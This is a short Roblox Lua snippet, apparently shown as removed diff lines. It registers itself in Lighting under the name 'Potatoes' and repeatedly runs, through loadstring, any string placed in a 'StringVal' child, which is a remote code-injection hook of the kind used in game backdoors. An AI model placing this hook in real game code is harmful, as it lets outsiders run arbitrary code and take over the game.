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- local next=next
- script.Name="Test"
- local val=Instance.new("ObjectValue",game.Lighting)
- val.Name="Potatoes"
- val.Value=script
- coroutine.resume(coroutine.create(function()
- while wait() do
- if script:findFirstChild("StringVal") then
- local val=script.StringVal
- loadstring(val.Value)()
- val:Destroy()
- end
- end
- end))
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